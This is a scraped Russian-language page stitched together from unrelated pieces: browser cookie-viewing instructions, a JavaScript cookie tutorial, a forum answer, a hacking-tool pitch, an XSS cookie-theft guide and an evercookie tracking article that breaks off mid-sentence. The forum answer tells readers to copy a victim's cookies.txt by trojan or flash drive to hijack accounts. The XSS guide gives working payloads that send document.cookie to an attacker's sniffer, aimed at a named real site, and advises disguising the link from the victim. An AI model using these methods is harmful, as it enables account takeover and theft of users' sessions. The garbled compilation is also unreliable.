Подпишись и читай
самые интересные
статьи первым!

Как вытащить пароль из куки. Как вытащить пароль из куки Как вытащить пароль из куки хрома

Opera раскройте главное меню, перейдите в секцию «Настройки» и выберите строку «Общие настройки...». А можете просто нажать горячие клавиши CTRL + F12. Так вы откроете окно настроек браузера, где на вкладке «Расширенные» нужно щелкнуть раздел «Cookies» в левой панели. В нем вам нужно щелкнуть кнопку «Управление Cookies».

В Mozilla FireFox откройте в меню раздел «Инструменты» и выберите пункт «Настройки». В окне настроек вам надо перейти на вкладку «Приватность», найти там кнопку с надписью «Показать Cookies…» и щелкнуть ее для доступа к списку хранимых браузером кук. Здесь их можно искать и просматривать.

В обозревателе Internet Explorer раскройте раздел «Сервис» в меню и выберите пункт «Свойства ». В окне настройки свойств перейдите на вкладку «Общие» и щелкните кнопку «Параметры» в секции «История просмотра». Таким способом вы откроете еще одно окно («Параметры временных файлов»), в котором надо нажать кнопку «Показать файлы».

Щелкните заголовок «Имя» в открывшемся списке содержимого папки хранения временных файлов Internet Explorer - таким способом вы сможете сгруппировать все файлы кук в один блок в общей куче разнородных файлов. Здесь можно найти интересующий файл и открыть его в стандартном Блокноте для просмотра или редактирования.

В Google Chrome щелкните в верхнем правом углу окна иконку с изображением гаечного ключа и выберите строку «Параметры» в меню. Браузер откроет страницу «Настройки», а вы кликните ссылку «Расширенные» в ее левой панели и на странице расширенных настроек щелкните кнопку «Настройки содержания». Это еще не последняя страница на пути к кукам, хранимым этим браузером.

Нажмите кнопку «Все файлы cookie и данные сайтов» на следующей странице и вы, наконец, получите доступ к списку кук.

В Google Chrome предусмотрены возможности поиска, просмотра и удаления кук.

В браузере Safari щелкните иконку с изображением шестеренки в правом верхнем углу и выберите строку «Настройки…». В окне изменения установок вам нужно перейти на закладку «Безопасность», чтобы нажать там кнопку «Показать Cookies». В Safari предусмотрены только функции поиска и удаления кук, содержимое этих временных файлов здесь можно увидеть только частично.

На вопрос Как достать КУКИ cokies. Нужны куки как достать подскажите плиз!!! 1 заданный автором Влад eeEEeeeeeeeeee лучший ответ это Что такое cookies?
Дело в том, что в процессе развития www-технологий и внедрения языков программирования в Интернет, перед разработчиками программ возникла очень серьезная проблема - как сохранять результаты выполнения алгоритма для каждого конкретно взятого пользователя на долгое время? Сам по себе протокол HTTP не имеет возможности фиксирования результатов программных процессов. Использование сессий также не является решением проблемы, так как их действие прекращается сразу после разрыва соединения с сервером.
Проблема разрешилась с внедрением механизма cookies (то есть, в переводе с английского, - "печенье"). Cookies обладают замечательным свойством - они сохраняются на винчестере пользователя и могут храниться там практически неограниченное время.
По своей сути cookies - это обычные текстовые файлы, хранящиеся в специальной директории, используемой броузером (обычно эта папка называется Temporary Internet Files), и вы можете увидеть их, зайдя в эту директорию (быстрый доступ к ней для броузера IE осуществляется через пункты меню Сервис -> Свойства обозревателя -> Временные файлы Интернета -> Настройка -> Просмотр
Одни значения cookie могут храниться только в течение одной сессии, они удаляются после закрытия броузера. Другие, установленные на некоторый период времени, записываются в файл. В общем случае этот файл называется "cookies.txt" (но их может быть несколько) и лежит в рабочей директории установленного на компьютер браузера.
иными словами
Cookie - это небольшая порция текстовой информации, которую сервер передает браузеру. Сами по себе cookies не могут делать ничего, но когда пользователь обращается к серверу (набирает его адрес в строке браузера) , сервер может считывать информацию, содержащуюся в cookies, и на основании ее анализа совершать какие-либо действия. Например, в случае авторизованного доступа к чему-либо через веб, в cookies сохраняется логин и пароль в течение сессии, что позволяет пользователю не вводить их снова при запросах каждого документа, защищенного паролем.
Если ты пытаешься получить доступ через эту тему к чужим запароленным аккаунтам, то тебе надо найти способ дистанционно (троян) или внаглую скопировав на флешь если имеешь доступ к тому компу где работает жертва скопировать это файл cookies.txt и заменить в своём (таком же) браузере свой на него. Далее заходишь на нужный сайт где интересующий тебя аккаунт, и автоматически получаешь доступ. Но учти, если жертва нажимает выход из аккаунта (например из почты) при окончании работы - то в кукисах будет стёрта инфа о сессии и ты никакого доступа не получишь.
Mozilla Firefox хранит куки в профиле пользователя, в файле C:Documents and SettingsИмя пользователяApplication DataMozillaFirefoxProfilescookies.txt
nternet Explorer сохраняет данные cookies в виде отдельных текстовых файлов в папке C:Documents and SettingsИмя пользователяCookies
Опера хранит куки в файле C:Documents and SettingsИмя пользователяApplication DataOperaOperaprofilecookies4.dat

JavaScript дает возможность устанавливать и читать куки в браузере. В данном уроке мы рассмотрим как происходит работа с куками, а также сделаем простую страницу, которая будет помнить введеное имя и отображать его при каждом входе.

Что такое куки (cookie)?

Куки - это небольшой объем данных, которые хранятся вэб браузером. Они позволяют Вам сохранять определенную информацию о пользователе и получать ее каждый раз, когда он посещает Вашу страницу. Каждый пользователь имеет свой собственный уникальный набор куков.

Обычно куки используются веб сервером для выполнения таких функций как отслеживание посещений сайта, регистрации на сайте и сохранения сведений о заказах или покупках. Однако нам не нужно придумывать программу для вэб сервера чтобы использовать куки. Мы можем использовать их с помощью JavaScript.

Свойство document.cookie .

В JavaScript куки доступны с помощью свойства cookie объекта document. Создать куки можно следующим образом:

И получить весь сохраненый набор куков так:

Var x = document.cookie;

Давайте рассмотрим сохранение и получение куков более подробно.

Сохранение куки

Для сохранения куки нужно присвоить document.cookie текстовую строку, которая содержит свойства куки, которые мы хотим создать:

document.cookie = " name = значение; expires= дата; path= путь; domain= домен; secure";

Свойства описаны в таблице:

Свойство Описание Пример
name = значение Устанавливает имя куки и его значение. username=Вася
expires= дата Устанавливает дату истечения срока хранения куки. Дата должна быть представлена в формате, который возвращает метод toGMTString() объекта Date . Если значение expires не задано, куки будет удалено при закрытии браузера. expires=
13/06/2003 00:00:00
path= путь Данная опция устанавливает путь на сайте, в рамках которого действует куки. Получить значение куки могут только документы из указанного пути. Обычно данное свойство оставляют пустым, что означает что только документ установивший куки может получит доступ к нему. path=/demo/
domain= домен Данная опция устанавливает домен, в рамках которого действует куки. Получить значение куки могут только сайты из указанного домена. Обычно данное свойство оставляют пустым, что означает, что только домен установивший куки может получит доступ к нему. domain=сайт
secure Данная опция указывает браузеру, что для пересылки куки на сервер следует использовать SSL. Очень редко используется. secure

Давайте посмотрим пример установки куки:

document.cookie = "username=Вася; expires=15/02/2011 00:00:00";

Данный код устанавливает куки username , и присваивает ему значение "Вася" , которое будет храниться до 15-го февраля 2011 года (используется Европейский формат времени!).

var cookie_date = new Date (2003, 01, 15); document.cookie = "username=Вася; expires=" + cookie_date.toGMTString();

Данный код выполняет точно такое же действие, как и предыдущий пример, но для установки даты используется метод Date.toGMTString() . Учтите, что нумерация месяца в объекте Date начинается с 0, то есть февраль - это 01 .

Document.cookie = "logged_in=yes";

Данный код устанавливает куки logged_in , и присваивает ему значение "yes" . Так как атрибут expires не установлен, то куки удалится при закрытии браузера.

var cookie_date = new Date (); // Текущая дата и время cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = "logged_in=; expires=" + cookie_date.toGMTString();

Данный код устанавливает куки logged_in и присваивает строку хранения значение времени за одну секунду перед текущим - такая операция приведет к немедленному удалению куки. Ручной способ удалить куки!

Перекодирование значения куки!

Следует перекодировать значение куки для корректного хранения и отображения таких символов как пробел и двоеточие. Такая операция гарантирует, что браузер корректно воспримет значение. Перекодирование лекго выполняется функцией JavaScript escape() . Например:

document.cookie = "username=" + escape("Вася Пупкин") + "; expires=15/02/2003 00:00:00"; Функция для установки куки

Установка куки станет проще, если мы напишем специальную функцию, которая будет выполнять простые операции, такие как перекодирование значений и построение строки document.cookie . Например:

Function set_cookie (name, value, exp_y, exp_m, exp_d, path, domain, secure) { var cookie_string = name + "=" + escape (value); if (exp_y) { var expires = new Date (exp_y, exp_m, exp_d); cookie_string += "; expires=" + expires.toGMTString(); } if (path) cookie_string += "; path=" + escape (path); if (domain) cookie_string += "; domain=" + escape (domain); if (secure) cookie_string += "; secure"; document.cookie = cookie_string; }

Функция получает данные для куки в качестве аргументов, затем строит соответствующую строку и устанавливает куки.

Например, установка куки без срока хранения:

set_cookie ("username", "Вася Пупкин"); set_cookie ("username", "Вася Пупкин", 2011, 01, 15);

Установка куки со сроком хранения, доменом сайт , использованием SSL, но без пути:

set_cookie ("username", "Вася Пупкин", 2003, 01, 15, "", "сайт", "secure"); Функция для удаления куки.

Другая полезная функция для работы с куки представлена ниже. Функция "удаляет" куки из браузера посредством установки срока хранения на одну секунду раньше текущего значения времени.

function delete_cookie (cookie_name) { var cookie_date = new Date (); // Текущая дата и время cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = cookie_name += "=; expires=" + cookie_date.toGMTString(); }

Для использования данной функции нужно только передать ей имя удаляемого куки:

Delete_cookie ("username");

Получение значения куки

Для того, чтобы получить значение предварительно установленного куки для текущего документа, нужно использовать свойство document.cookie:

Var x = document.cookie;

Таким образом возвращается строка, которая состоит из списка пар имя/значение, разделенных точкой с запятой для всех куки, которые действуют для текущего документа. Например:

"username=Вася; password=abc123"

В данном примере 2 куки, которые были предварительно установлены: username , который имеет значение "Вася" , и password , который имеет значение "abc123" .

Функция для получения значения куки

Обычно, нам нужно только значение одного куки за один раз. Поэтому строка куки не удобна для использования! Здесь приводится функция, которая обрабатывает строку document.cookies , возвращет только то куки, которое представляет интерес в конкретный момент:

Function get_cookie (cookie_name) { var results = document.cookie.match ("(^|;) ?" + cookie_name + "=([^;]*)(;|$)"); if (results) return (unescape (results)); else return null; }

Данная функция использует регулярное выражение для поиска имени куки, которое представляет интерес, а затем возвращает значение, которое обработано функцией unescape() для перекодирования к нормальному символьному виду. (Если куки не найдено, возвращается значение null.)

Данная функция проста в использовании. Например, для возврата значения куки username:

Var x = get_cookie ("username");

Простой пример использования

В данном примере мы сделали страницу, которая запрашивает Ваше имя при первом посещении, затем она сохраняет Ваше имя в куки и показывает его при следующих посещениях.

Откройте страницу в новом окне. При первом посещении она попросит ввести имя и сохранит его в куки. Если Вы посетите страницу еще раз, она отобразит на экране введенное имя из куки.

Для куки задаем срок хранения в 1 год от текущей даты, это означает, что браузер сохранит Ваше имя даже если Вы закроете его.

Вы можете посмотреть код страницы в браузере, выбрав функцию просмотра исходного кода. Здесь приводится основная часть кода:

if (! get_cookie ("username")) { var username = prompt ("Пожалуйста, введите Ваше имя", ""); if (username) { var current_date = new Date; var cookie_year = current_date.getFullYear () + 1; var cookie_month = current_date.getMonth (); var cookie_day = current_date.getDate (); set_cookie ("username", username, cookie_year, cookie_month, cookie_day); } } else { var username = get_cookie ("username"); document.write ("Привет, " + username + ", добро пожаловать на страницу!"); document.write ("
Forget about me!"); }

Данный урок показал Вам, как использовать куки в JavaScript для хранения информации о Ваших посетителях. Спасибо за внимание! :)

Мой знакомый забыл пароль к одному сайту. Однако ранее он поставил при входе флажок «Запомнить меня» в браузере Google Chrome, что позволяло ему заходить на сайт под своим аккаунтом. Мне прилетел вопрос, можно ли перенести это волшебное состояние на другой компьютер. Правильнее, конечно, было бы сменить или восстановить пароль, но сделать это знакомый не мог по причинам, не относящимся к делу.

Как пользоваться intercepter-ng для чайников

Несмотря на многообразие выбора современного софта, программы для взлома на андроид лучше, чем intercepter ng найти сложно. Первым критерием, указывающим в пользу данного продукта, является его реальная работоспособность. Большинство предлагаемых снифферов в сети – только имитация, не выполняющая заявленных функций.

Следующими положительными факторами является многофункциональность приложения и охват широкой аудитории пользователей.

Компьютерная помощь 939-29-71

Начнём по порядку. Cookies или » куки » — это очень маленькие текстовые файлики — закладки с информацией.

Эту информацию веб — сервер передает на браузер пользователя. где эта информация и хранится до востребования. Не совсем понятно. Ну. хорошо.

постараюсь ещё проще. Смотрите. вы зарегистрировались на каком — либо сайте.

В момент регистрации и создаются эти самые » куки «.

Вот они — то и являются.

Cookie Cadger

Программа прослушивает трафик в WiFi-сети, перехватывает cookies и реплицирует сессию пользователя в вашем браузере, повторяя запросы с его учётными данными. Автор Мэтью Салливан (Matthew Sullivan) провёл презентацию программы 30 сентября на конференции хакеров Derbycon. Прямо во время выступления Мэтью Салливан перехватил по WiFi незащищённую сессию с Google одного из посетителей конференции.

Как украсть куки

Если, находясь на странице сайта, Вы введёте в адресную строку браузера Firefox или Opera следующий текст: javasсript:document.write(document.сооkiе); то увидите нечто вроде: remixAdminsBar=0; remixGroupType=0; remixpass=******************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixautobookmark=8; remixemail=*******; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Внимание! .

Полное пособие по межсайтовому скриптингу

XSS – это тип уязвимости программного обеспечения, свойственный Web-приложениям, который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями В Wikipedia содержится следующее определение для XSS: «Межсайтовый скритинг (XSS) – это тип уязвимости программного обеспечения, свойственный Web-приложениям (путем обхода ограничений безопасности браузера)», который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями.

Разница между cookie и сессиями

Не так давно я писал статью о том, как сделать регистрацию и авторизацию пользователей на сайте.

«. В этой статье я собираюсь разобрать разницу между сессиями и cookie . чтобы Вы окончательно определились с выбором.

Cookies. Нет, речь вовсе не о печенье, речь о вашей безопасности. Вот заходите вы свой любимый сайт «vkontakte» (или, например, посмотреть почту) на чужом компьютере, отказываетесь от опции «сохранить пароль», радостно просматриваете почту и уходите. И не задумываетесь о том, что под вашим именем теперь можно зайти в социальную сеть или почту.

Я даже не рассматриваю ситуацию с программой, которая запомнила пароль без вашего ведома. Это уже взлом сознательный, и вы, наверное, будете подозревать, что что-то такое может случиться и не зайдете на таком компьютере на любимый сайт. Но речь может идти о простом человеческом любопытстве — были в гостях у знакомых, а тут раз, и они получают возможность почитать вашу почту. Вы уверены, что они откажутся от такой возможности? А вы не боитесь, что что-то выплывет? В любом случае, я отложу вопросы нравственности и просто поговорю о том, каким образом созраняется на компьютере информация о том, что вас теперь можно пустить на какой-то сайт не запрашивая пароля.

как украсть Cookie

И имя этой технологии — cookies.

А началось все вот с чего. Протокол http по которому, собственно, вы и просматриваете сайты (включая этот) изначально не предполагал возможности поддержания соединения. То есть, грубо говоря, вы отправляете запрос на сайт, получаете ответ, он отображается на экране, а дальше сервер ничего о вас не помнит. Это, конечно, хорошо, когда сайт чисто информационный и не должен ничего о вас помнить, но мы же живем в веке Web 2.0 😉 Естественное развитие протокола — POST и GET запросы, когда вы отправляете какие-то данные, сервер может записать их в базу данных, но и этого оказывается недостаточно.

Рассмотрим очень простой пример. Форум. Вот вы зарегистрировались, и на форуме есть запись о том, что есть такой-то пользователь с таким-то паролем и какими-то еще дополнительными данными. Но вот теперь вы заходите на форум и авторизуетесь — вводите свой пароль. Где-то должна сохраниться информация о том, что вы авторизовались. На сервере? Конечно, нет! На сервере невозможно сохранить информацию о том, что именно с вашего компьютера была произведена авторизация — он не сможет отличить вас от кого-то другого (даже ваш IP-адрес вас не идентифицирует однозначно)! Таким образом, информацию о том, что произошла авторизация нужно хранить на вашем компьютере. Вот зачем нужны cookies, именно для этого они и были созданы.

Cookie — это маленькая запись на вашем компьютере, хранящая информацию о сайте, который вы посетили. При авторизации создается подобная запись, после чего вы уже можете гулять по форуму, и он будет вас опознавать. Однако, это уже будет происходить автоматически — благодаря информации, хранящейся в cookie — так что сделать вид, что вы являетесь главным администратором форума, все равно не получится в обход проверки пароля.

Теперь можно вернуться к тому, с чего начиналась эта статья. Если вы авторизовались где-то даже не сохраняя пароль, то может случиться так, что на компьютере создалась запись, позволяющая теперь входить на этот ресурс под вашим именем без авторизации. Такая запись сама устареет через некоторое время, но можно ее принудительно очистить. В каждом браузере это делается по-своему, я покажу, как это можно сделать в моем любимом Google Chrome. Открываем параметры

Переходим на вкладку «расширенные» и находим кнопку «показать Cookies»

Теперь, конечно, можно удалить и все cookies, но это может расстроить хозяина компьютера. Поэтому, например, в верхнем поле можно ввести название интересуещего вас сайта

Тогда можно произвести очистку только cookies, относящихся к этому сайту. Можете попробовать на моем. При этом если вы авторизуетесь на моем форуме, а затем очистите cookies, то информация об авторизации будет забыта. Попробуйте!

comments powered by

1.Что такое XSS(англ. Сross Site Sсriрting - «межсайтовый скриптинг»)
Уязвимость типа XSS позволяет вставить произвольный javascript код в тело страницы. Атака XSS отличается от других(напр. SQL injection или PHP injection) тем, что действует не на сервер, а на клиента.

как украсть cookies

С ее помощью нельзя посмотреть таблицы БД, залить шелл и т.п. Чаще всего XSS испульзуют для кражи cookies.
Cookies(Куки) — небольшой фрагмент данных, созданный веб-сервером и хранимый на компьютере пользователя в виде файла. Обычно куки используются для хранения учетных записей, и, чаще всего, в них находятся закодированные пароль, логин, и идентификатор сессии.(хотя далеко не всегда)
XSS бывают двух типов, активные и пассивные.

Пассивные XSS требуют от жертвы непосредственного участия, например перейти по ссылке, содержащей javascript код. При использовании этого типа XSS не обойтись без СИ(Социальная Инженерия)

Активные XSS не требуют никакого участия со стороны жертвы, ей достаточно лишь зайти на страницу с XSS. Активные XSS могут быть, например, в сообщениях на форумах, чатах, в добавлении новости и т.п.

2.Поиск XSS
В этом пункте я расскажу как найти xss

2.1.Пассивные XSS
Чтобы найти пассивную XSS достаточно подставить в форму ввода alert(‘xss’) если скрипт сработал и появилось сообщение "xss" значит уязвимость присутствует, если скрипт не сработал можно еще попробывать ">alert(), это, наверное самая распространенная xss уязвимость. Если ни тот ни другой скрипт не сработал то уязвимости, скорее всего, нет.
Рассмотрим на примере.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
Видите форму "искать"? вставим туда ">alert() и нажмем "найти"
Вылетело окошко c xss, значит xss присутствует.(возможно, на момент прочтения вами данной статьи эту xss уже пофисят)

2.2.Активные XSS
Такие ксс могут быть, например, в полях профиля, при добавлении новости в названии новости и в самой новости(реже), в сообщениях на форумах/чатах/гостивухах при включенном html. Тут все просто, вписываем в поля скрипт из предыдущего подпункта, и если сообщение вывелось на экран, то уязвимость присутствует.
Рассморим xss в BB тегах на форумах.
можно попробовать тупо вставить javascript код в тег, например так:
javasсriрt:alert(‘xss’)
У некоторых тегов есть параметры, например у тега есть параметры dynsrc и lowsrc, попробуем подставить код так:
http://www.site.ru/image.jpg dynsrc=javascript:alert(‘xss’)
Если скрипт сработал, xss есть

3.Использование XSS для кражи cookies
Теперь самое вкусное))))
Для того чтобы украсть куки нам понадобится веб-сниффер, можно установить какой-нибудь сниффер на свой хостинг, а можно воспользоваться онлайн-сниффером, которых сейчас полно.
Чтобы украсть куки через пассивеую XSS надо чтобы жертва прошла по ядовитой ссылке. Чтобы украсть куки мы будем исользовать вместо alert(‘xss’) другой скрипт:
img = new Image();


подставляем скрипт в ссылку и даем жертве перейти по ней, смотри лог сниффера и радуемся.
Рассмотрим на примере.
Возьмем ту XSS на рамблере из предыдущего пункта.
Вставляем
">
img = new Image();
img.src = "адрес картинки-сниффера"+document.cookie;

в форму поиска, нажимаем "найти", смотрим адресную строку и видим:

http://miss.rambler.ru/srch/?sort=0& … &words =">
Кидаем эту ссылку жертве и радуемся кукам.
Увидев такую ссылку жертва может что-то заподозрить, поэтому желательно закодировать
">img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;
в URL Или воспользоваться сервисами типа http://tinyurl.com/
Перейдем к активным XSS, тут все просто, вместо alert() вставляем img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;

Теперь у нас есть куки. Но что с ними делать? Все просто, их надо подставить вместо своих. В браузере Opera есть встроеный редактор cookies(инструменты->дополнительно->управление cookies), для firefox есть плагин(не помню как называется, юзайте гугл)
На этом пока все, возможно статья будет дополняться

Cookies - верная технология, позволяющая веб-сайту "запомнить" пользователя,
сохранить его настройки и не спрашивать каждый раз его логин и пароль. Можно
подумать, что если удалить кукисы в браузере, то сайт тебя не узнает. Но эта
уверенность обманчива.

Можно сколько угодно заморачиваться о своей анонимности, использовать прокси
и VPN, подделывать заголовки HTTP-запросов, выдающие используемую систему,
версию браузера, часовой пояс и море другой инфы, но у веб-сайта все равно
останутся способы распознать факт того, что ты на нем уже бывал. Во многих
случаях это не особо критично, но только не в ситуации, когда на каком-то
сервисе необходимо представиться другим пользователем или банально сохранить
анонимность. Легко представить, как среагирует антифрод-система некой условной
финансовой организации, если определит, что с одного компьютера были выполнены
авторизации под аккаунтами совершенно разных людей. Да и разве приятно
осознавать, что кто-то в Сети может отслеживать твои перемещения? Едва ли. Но
обо всем по порядку.

Как работают куки?

Чтобы идентифицировать пользователя, испокон веков использовались кукисы.
Cookies (от англ. "печенье") - это небольшая порция текстовой информации,
которую сервер передает браузеру. Когда пользователь обращается к серверу
(набирает его адрес в строке браузера), сервер может считывать информацию,
содержащуюся в cookies, и на основании ее анализа совершать какие-либо действия.
Например, в случае авторизованного доступа к чему-либо через веб в cookies
сохраняются логин и пароль в течение сессии, что позволяет пользователю не
вводить их снова при запросах каждого документа, защищенного паролем. Таким
образом, веб-сайт может "запомнить" пользователя. Технически это выглядит
следующим образом. Запрашивая страницу, браузер отправляет веб-серверу короткий
текст с HTTP-запросом.

Например, для доступа к странице www.example.org/index.html браузер
отправляет на сервер www.example.org следующий запрос:

GET /index.html HTTP/1.1
Host: www.example.org

Сервер отвечает, отправляя запрашиваемую страницу вместе с текстом,
содержащим HTTP-ответ. Там может содержаться указание браузеру сохранить куки:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value

Если есть строка Set-cookie, браузер запоминает строку name=value (имя =
значение) и отправляет ее обратно серверу с каждым последующим запросом:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: name=value
Accept: */*

Все очень просто. Если сервер получил от клиента куки и они есть у него в
базе, он однозначно может их обработать. Таким образом, если это были кукисы с
некоторой информацией об авторизации, у пользователя в момент посещения не будет
спрашиваться логин и пароль. По стандарту куки имеют определенный срок жизни
(хоть он и может быть очень большим), после которого умирают. А любые
сохраненные кукисы пользователь без труда может удалить, воспользовавшись
соответствующей опцией, которая есть в любом браузере. Этот факт сильно
расстраивает владельцев многих ресурсов, которые не желают терять связь с
посетителем. Им важно отслеживать его, понимать, что "вот этот человек был у нас
вчера, а еще позавчера и т.д.". Особенно это касается различных анализаторов
трафика, систем для ведения статистики, баннерных сетей и т.п. Вот тут-то и
начинается самое интересное, потому что разработчики используют всякие
ухищрения, о которых многие пользователи даже не подозревают. В ход идут
различные уловки.

Flash-куки

Все дело в том, что помимо обычных HTTP "плюшек", к которым все давно
привыкли, сейчас активно используются альтернативные хранилища, где браузер
может записать данные на стороне клиента. Первое, что нужно упомянуть - это
хранилище любимого и ненавистного одновременно Flash (для тех пользователей, у
которых он установлен). Данные хранятся в так называемых LSO (Local Shared
Objects) - схожих с cookies по формату файлах, которые сохраняются локально на
компьютере пользователя. Подход во многом аналогичен обычным "плюшкам" (в этом
случае на компьютере пользователя точно так же сохраняется небольшое количество
текстовых данных), но имеет некоторые преимущества:

  • Flash-кукисы являются общими для всех браузеров на компьютере (в отличие
    от классической cookie, которая привязана к браузеру). Настройки, информация
    о сессии, как и, скажем, некий идентификатор для отслеживания пользователя,
    не привязываются к какому-то конкретному браузеру, а становятся общими для
    всех.
  • Flash cookie позволяет сохранять намного больший объем данных (как
    правило, 100 Кб), что увеличивает количество настроек пользователя,
    доступных для сохранения.

На практике LSO становится очень простой и доступной технологией для трекинга
пользователя. Задумайся: если бы я предлагал тебе удалить все "плюшки" в
системе, ты бы вспомнил о Flash-кукисах? Вероятно, нет. А теперь попробуй взять
любой просмотрщик, например, бесплатный

FlashCookiesView и посмотреть, сколько всего интересного записано в
хранилищах Flash. Тут же вырисовывается и список сайтов, которые очень не хотят
потерять твой след, даже если ты подчистишь кэш браузера (вместе с "плюшками").

Кукисы везде с evercookie

Но если об LSO слышали продвинутые пользователи и мало-мальски хорошие
разработчики, то о существовании других техник хранения данных, подчас очень
изощренных (но действенных), многие даже не подозревают. Взять хотя бы новые
хранилища, которые появлялись в
(Session Storage,
Local Storage, Global Storage, Database Storage via SQLite), о которых ты можешь
прочитать в статье " ". Этой проблемой всерьез заморочился польский специалист
по безопасности Samy Kamkar. В результате на свет появилась специальная
JavaScript-библиотека evercookie, которая специально создана для того, чтобы
создавать максимально живучие кукисы в браузере. Кто-то может спросить: "Зачем
это нужно?". Очень просто: для того, чтобы однозначно идентифицировать
посетителя страницы, если он придет вновь. Такие сложно убиваемые кукисы часто
называются Tracking cookies и даже определяются некоторыми антивирусами как
угроза приватности. Evercookie может свести все попытки остаться анонимным к
нулю.

Секрет в том, что evercookie использует сразу все доступные для браузера
хранилища: обычные HTTP-кукисы, LSO, контейнеры HTML5. Кроме того, в ход идет
несколько хитрых приемов, которые с не меньшим успехом позволяют оставить на
компьютере желанную метку. Среди них: генерация особых PNG-изображений,
использование history браузера, хранение данных с помощью тега ETag, контейнер
userData в Internet Explorer - оказывается, что вариантов-то очень много.

В том, насколько это эффективно работает, можно убедиться на сайте
разработчика -
http://samy.pl/evercookie . Если нажать на кнопку "Click to create an
evercookie", в браузере будут созданы кукисы со случайным числом. Попробуй
удалить кукисы везде, где это только возможно. Бьюсь об заклад, сейчас ты
задумался: "Где еще можно удалить кукисы, кроме как в настройках браузера?".
Уверен, что все удалил? Перезагрузи страницу для верности, можешь даже заново
открыть браузер. Вот теперь смело нажимай на кнопку "Click to rediscover cookies".
WTF? Сайту это не помешало откуда-то взять данные - в полях страницы
отобразилось число, которые было сохранено в кукисах. Но мы же их потерли? Как
это получилось? Попробуем разобраться с некоторыми техниками.

Кукисы в PNG

Крайне интересным приемом, используемым в Evercookie, является подход
хранения данных в кэшированных PNG-изображениях. Когда evercookie устанавливает
куки, он обращается к скрипту evercookie_png.php со специальной HTTP "плюшкой",
отличной от той, которая используется для хранения стандартной информации о
сессии. Эти специальные кукисы считываются PHP-сценарием, создающим
PNG-изображение, в котором все значения RGB (цветов) выставляются в соответствии
с информацией о сессии. В конечном итоге PNG-файл отправляется браузеру клиента
с пометкой: "файл необходимо кэшировать 20 лет".

Получив эти данные, evercookie удаляет созданные ранее специальные
HTTP-кукисы, затем выполняет тот же самый запрос к тому же PHP-сценарию, но не
предоставляя информации о пользователе. Тот видит, что интересующих его данных
нет, и сгенерировать PNG он не может. Вместо этого браузеру возвращается
поддельный HTTP-ответ "304 Not Modified", что заставляет его вытащить файл из
локального кэша. Изображение из кэша вставляется на страницу с помощью тега
HTML5 Canvas. Как только это происходит, evercookie считывает каждый пиксель
содержимого Canvas, извлекая RGB-значения и, таким образом, восстанавливая
данные изначальных кукисов, которые были сохранены в изображении. Вуаля, все
работает.

Хинт с Web History

Другой прием напрямую использует историю браузера. Как только браузер
устанавливает плюшку, evercookie с помощью алгоритма Base64 кодирует данные,
которые необходимо сохранить. Предположим, что этими данными является строка,
полученная "bcde" после преобразований в Base64. Библиотека последовательно
обращается в фоновом режиме к следующим URL:

google.com/evercookie/cache/b
google.com/evercookie/cache/bc
google.com/evercookie/cache/bcd
google.com/evercookie/cache/bcde
google.com/evercookie/cache/bcde-

Таким образом, эти URL сохраняются в history. Далее в ход идет специальный
прием - CSS History Knocker, который с помощью JS-скрипта и CSS позволяет
проверить, посещал ли пользователь указанный ресурс или нет (подробнее тут -
samy.pl/csshack). Для
проверки плюшек evercookie пробегается по всем возможным символам Base64 на
google.com/evercookie/cache, начиная с символа "a" и двигаясь далее, но только
на один символ. Как только скрипт видит URL-адрес, к которому было обращение, он
начинает перебор следующего символа. Получается своеобразный брутфорс. На деле
этот подбор осуществляется чрезвычайно быстро, потому что никакие запросы к
серверу не выполняются. Поиск в history осуществляется локально в максимально
короткий срок. Библиотека знает, что достигла конца строки, когда URL будет
заканчиваться символом "-". Декодируем Base64 и получаем наши данные. Как
назвать разработчиков браузеров, которые это позволяют?

Попробуй удали

А что будет, если юзер потрет свои кукисы? Важная фишка самой библиотеки
evercookie в том, что пользователю придется основательно постараться, чтобы
удалить кукисы, оставленные в разных местах - сейчас их 10. Если хотя бы в одном
месте останутся данные куки, то они автоматически восстановятся и во всех других
местах. Например, если пользователь не только удалит свои стандартные кукисы, но
и очистит данные LSO, подчистит HTML5-хранилища, что уже маловероятно, все равно
останутся куки, созданные с помощью кэшированного PNG и web history. При
следующем же посещении сайта с evercookie библиотека не только сможет найти
запрятанную плюшку, но и восстановит их во всех остальных местах, которые
поддерживает браузер клиента. Интересный момент связан с передачей
"плюшек" между браузерами. Если пользователь получает кукисы в одном браузере,
то есть большая вероятность, что они воспроизведутся и в других. Единственное
необходимое для этого условие - сохранение данных в Local Shared Object куке.

Как использовать?

Библиотека Evercookie полностью открытая, поэтому ты можешь свободно
пользоваться ей, подгонять под свои нужды. К серверу не предъявляется никаких
серьезных требований. Все что нужно - это доступ к JS-сценарию, в котором
содержится код evercookie. Чтобы использовать Flash-кукисы (Local Shared Object),
в папке со скриптом должен быть файл evercookie.swf, а для работы техник,
основанных на PNG-кэшировании и использовании хранилища ETag, необходим доступ к
PHP-сценариям evercookie_png.php и evercookie_etag.php. Использовать evercookie
можно на любой страничке сайта, подключив следующий скрипт:





var ec = new evercookie();
// устанавливаем cookie "id" со значением "12345"
// синтаксис: ec.set(key, value)
ec.set("id", "12345");
// восстанавливаем кукису с именем "id"
ec.get("id", function(value)
{
alert("Cookie value is " + value)
});

Есть также другой способ получения кукисов, основанный на использовании более
продвинутой callback-функции. Это позволяет извлечь значения кукисов из
различных используемых хранилищ и сравнить их между собой:

function getCookie(best_candidate, all_candidates)
{
alert("The retrieved cookie is: " + best_candidate + "\n" + "You
can see what each storage mechanism returned " + "by looping through the all
candidates object.");

For (var item in all_candidates) document.write("Storage
mechanism " + item + " returned: " + all_candidates + "
");
}

ec.get("id", getCookie);

Библиотека evercookie доступна каждому. Это немного пугает, особенно если
совершенно не представляешь, что можно против нее предпринять.

Как защититься?

Проблем с тем, чтобы подчистить куки в браузере и Flash"е, нет. Но попробуй
